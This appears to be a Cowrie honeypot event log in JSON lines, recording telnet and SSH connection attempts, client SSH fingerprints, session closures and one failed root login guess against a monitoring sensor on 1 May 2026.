{"eventid":"cowrie.session.closed","duration":30.58415913581848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:25.208912Z","src_ip":"157.15.20.138","session":"24adb3c2b0b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47327709197998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:25.220668Z","src_ip":"103.171.45.122","session":"a303ffa8da29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":39676,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e016bf2b18f","protocol":"telnet","message":"New connection: 62.171.133.168:39676 (159.203.135.109:23) [session: 2e016bf2b18f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:26.257048Z"}
{"eventid":"cowrie.session.closed","duration":30.96529722213745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:26.622044Z","src_ip":"34.69.118.1","session":"a5117ff2a580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":58998,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5f2c7a36175","protocol":"telnet","message":"New connection: 103.171.45.122:58998 (159.203.135.109:23) [session: a5f2c7a36175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:27.496230Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":48478,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0263f47d235","protocol":"ssh","message":"New connection: 221.139.88.149:48478 (10.17.0.5:22) [session: e0263f47d235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:27.509309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:27.515623Z","src_ip":"221.139.88.149","session":"e0263f47d235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:27.712433Z","src_ip":"221.139.88.149","session":"e0263f47d235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":59010,"dst_ip":"159.203.135.109","dst_port":23,"session":"3efdc7a52f26","protocol":"telnet","message":"New connection: 103.171.45.122:59010 (159.203.135.109:23) [session: 3efdc7a52f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:27.980210Z"}
{"eventid":"cowrie.session.closed","duration":30.378207445144653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:28.148643Z","src_ip":"157.15.20.138","session":"f586a543d405","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":31338,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e1592a9b3a7","protocol":"ssh","message":"New connection: 194.59.206.2:31338 (159.203.135.109:22) [session: 6e1592a9b3a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:28.257885Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hd123456","message":"login attempt [root/Hd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:28.542989Z","src_ip":"221.139.88.149","session":"e0263f47d235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":59018,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8982ee40f54","protocol":"telnet","message":"New connection: 103.171.45.122:59018 (159.203.135.109:23) [session: d8982ee40f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:29.249643Z"}
{"eventid":"cowrie.session.closed","duration":31.143267393112183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:29.291871Z","src_ip":"104.236.196.85","session":"04ae784cf466","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":35742,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4fea33c2fb9","protocol":"telnet","message":"New connection: 157.15.20.138:35742 (159.203.135.109:23) [session: e4fea33c2fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:29.738028Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:29.744684Z","src_ip":"221.139.88.149","session":"e0263f47d235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":59030,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e9ee058e5db","protocol":"telnet","message":"New connection: 103.171.45.122:59030 (159.203.135.109:23) [session: 7e9ee058e5db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:29.824993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:30.012087Z","src_ip":"194.59.206.2","session":"6e1592a9b3a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:30.018677Z","src_ip":"194.59.206.2","session":"6e1592a9b3a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.066630363464355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:30.219723Z","src_ip":"103.171.45.122","session":"d32075f9514b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.607632637023926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:30.306948Z","src_ip":"157.15.20.138","session":"b39ce49d2b0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03206515312195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:30.988872Z","src_ip":"62.171.133.168","session":"42a1675b0da9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:31.194259Z","src_ip":"194.59.206.2","session":"6e1592a9b3a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":51710,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ace5f9d9ba7","protocol":"telnet","message":"New connection: 104.236.196.85:51710 (159.203.135.109:23) [session: 2ace5f9d9ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:31.327483Z"}
{"eventid":"cowrie.session.closed","duration":30.761270999908447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:31.417815Z","src_ip":"157.15.20.138","session":"1481fb0af9d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48247218132019,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:31.667332Z","src_ip":"103.171.45.122","session":"f283d63e6c35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28863763809204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:31.753767Z","src_ip":"51.15.157.40","session":"70bc33c11b8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":35750,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f165a570f5f","protocol":"telnet","message":"New connection: 157.15.20.138:35750 (159.203.135.109:23) [session: 6f165a570f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:31.863616Z"}
{"eventid":"cowrie.session.closed","duration":30.511123180389404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:32.220745Z","src_ip":"157.15.20.138","session":"6266bda5498f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":35862,"dst_ip":"159.203.135.109","dst_port":23,"session":"622c6e8cd202","protocol":"telnet","message":"New connection: 62.171.133.168:35862 (159.203.135.109:23) [session: 622c6e8cd202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:32.700835Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":59054,"dst_ip":"159.203.135.109","dst_port":23,"session":"c78e216cc0cb","protocol":"telnet","message":"New connection: 103.171.45.122:59054 (159.203.135.109:23) [session: c78e216cc0cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:32.729797Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":59044,"dst_ip":"159.203.135.109","dst_port":23,"session":"26f02975fd2c","protocol":"telnet","message":"New connection: 103.171.45.122:59044 (159.203.135.109:23) [session: 26f02975fd2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:32.771142Z"}
{"eventid":"cowrie.session.closed","duration":30.40277099609375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:33.138280Z","src_ip":"104.236.196.85","session":"ffc630e980e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2626531124115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:33.242449Z","src_ip":"157.15.20.138","session":"fcde998ba03c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":35870,"dst_ip":"159.203.135.109","dst_port":23,"session":"69165ac83429","protocol":"telnet","message":"New connection: 62.171.133.168:35870 (159.203.135.109:23) [session: 69165ac83429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:33.289606Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":51726,"dst_ip":"159.203.135.109","dst_port":23,"session":"87b132e927ef","protocol":"telnet","message":"New connection: 104.236.196.85:51726 (159.203.135.109:23) [session: 87b132e927ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:36.500218Z"}
{"eventid":"cowrie.session.closed","duration":30.955313444137573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:37.225174Z","src_ip":"103.171.45.122","session":"1252a6ab77ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.501474618911743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:37.238815Z","src_ip":"157.15.20.138","session":"a86f588454a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10616707801819,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:38.912568Z","src_ip":"157.15.20.138","session":"2328fcc03386","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":35884,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2cd38a7340a","protocol":"telnet","message":"New connection: 62.171.133.168:35884 (159.203.135.109:23) [session: e2cd38a7340a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:39.122441Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":35308,"dst_ip":"159.203.135.109","dst_port":23,"session":"c140d99fc5b6","protocol":"telnet","message":"New connection: 104.236.196.85:35308 (159.203.135.109:23) [session: c140d99fc5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:40.140283Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":60220,"dst_ip":"159.203.135.109","dst_port":23,"session":"16fbafac1bb4","protocol":"telnet","message":"New connection: 34.69.118.1:60220 (159.203.135.109:23) [session: 16fbafac1bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:40.276402Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":46356,"dst_ip":"159.203.135.109","dst_port":23,"session":"250c26f2f094","protocol":"telnet","message":"New connection: 62.171.133.168:46356 (159.203.135.109:23) [session: 250c26f2f094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:40.381516Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":35324,"dst_ip":"159.203.135.109","dst_port":23,"session":"abd0da9c862a","protocol":"telnet","message":"New connection: 104.236.196.85:35324 (159.203.135.109:23) [session: abd0da9c862a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:40.407296Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":44086,"dst_ip":"159.203.135.109","dst_port":23,"session":"f785966383bf","protocol":"telnet","message":"New connection: 103.171.45.122:44086 (159.203.135.109:23) [session: f785966383bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:40.554338Z"}
{"eventid":"cowrie.session.closed","duration":31.659854888916016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:40.723267Z","src_ip":"157.15.20.138","session":"ccb4fcb29e94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":44100,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fb3c659fbe3","protocol":"telnet","message":"New connection: 103.171.45.122:44100 (159.203.135.109:23) [session: 3fb3c659fbe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:41.495570Z"}
{"eventid":"cowrie.session.closed","duration":31.41824722290039,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:41.763172Z","src_ip":"34.69.118.1","session":"fdf1db138514","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":46362,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca0edaa7eda0","protocol":"telnet","message":"New connection: 62.171.133.168:46362 (159.203.135.109:23) [session: ca0edaa7eda0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:42.285835Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":46366,"dst_ip":"159.203.135.109","dst_port":23,"session":"0939c701ad95","protocol":"telnet","message":"New connection: 62.171.133.168:46366 (159.203.135.109:23) [session: 0939c701ad95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:42.348090Z"}
{"eventid":"cowrie.session.closed","duration":30.63204526901245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:42.967767Z","src_ip":"62.171.133.168","session":"d6fe414e3bfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":46378,"dst_ip":"159.203.135.109","dst_port":23,"session":"6122cf7c10cb","protocol":"telnet","message":"New connection: 62.171.133.168:46378 (159.203.135.109:23) [session: 6122cf7c10cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:43.358321Z"}
{"eventid":"cowrie.session.closed","duration":30.77883553504944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:43.446389Z","src_ip":"157.15.20.138","session":"84fed23eb766","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":54428,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ff35c0d9b9e","protocol":"telnet","message":"New connection: 157.15.20.138:54428 (159.203.135.109:23) [session: 7ff35c0d9b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:43.687949Z"}
{"eventid":"cowrie.session.closed","duration":31.436950206756592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:43.852072Z","src_ip":"157.15.20.138","session":"5cec0a076af5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.102187156677246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:44.562207Z","src_ip":"103.171.45.122","session":"c0a5e448eb31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.478416681289673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:44.583221Z","src_ip":"51.15.157.40","session":"19c05401712c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.505223274230957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:45.274319Z","src_ip":"103.171.45.122","session":"ff632ae5418d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.995065450668335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:45.837054Z","src_ip":"157.15.20.138","session":"a7a8402b904c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.815369367599487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:47.087642Z","src_ip":"62.171.133.168","session":"7dc4a2e13688","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":46386,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa9d3e7a0af2","protocol":"telnet","message":"New connection: 62.171.133.168:46386 (159.203.135.109:23) [session: fa9d3e7a0af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:47.226294Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":46390,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdb6e375aa3b","protocol":"telnet","message":"New connection: 62.171.133.168:46390 (159.203.135.109:23) [session: bdb6e375aa3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:48.056433Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":46400,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccc27ee7fafb","protocol":"telnet","message":"New connection: 62.171.133.168:46400 (159.203.135.109:23) [session: ccc27ee7fafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:48.271157Z"}
{"eventid":"cowrie.session.closed","duration":30.58360528945923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:50.272991Z","src_ip":"103.171.45.122","session":"f7d2e990300e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.450953245162964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:51.170675Z","src_ip":"157.15.20.138","session":"f99e532a7cb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":58030,"dst_ip":"159.203.135.109","dst_port":22,"session":"219879a6d4a5","protocol":"ssh","message":"New connection: 122.168.114.167:58030 (159.203.135.109:22) [session: 219879a6d4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:51.251100Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.220.154","src_port":52410,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbaf9bbedf40","protocol":"telnet","message":"New connection: 162.214.220.154:52410 (159.203.135.109:23) [session: fbaf9bbedf40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:51.375672Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":43280,"dst_ip":"159.203.135.109","dst_port":23,"session":"78362110f467","protocol":"telnet","message":"New connection: 157.15.20.138:43280 (159.203.135.109:23) [session: 78362110f467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:51.739345Z"}
{"eventid":"cowrie.session.closed","duration":30.111958265304565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:51.743967Z","src_ip":"108.61.224.215","session":"228f3071010e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66144585609436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:52.020524Z","src_ip":"62.171.133.168","session":"2e6d6e6db51e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.26860809326172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:52.029937Z","src_ip":"62.171.133.168","session":"0dd6609b9f78","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:52.674690Z","src_ip":"122.168.114.167","session":"219879a6d4a5","protocol":"ssh"}
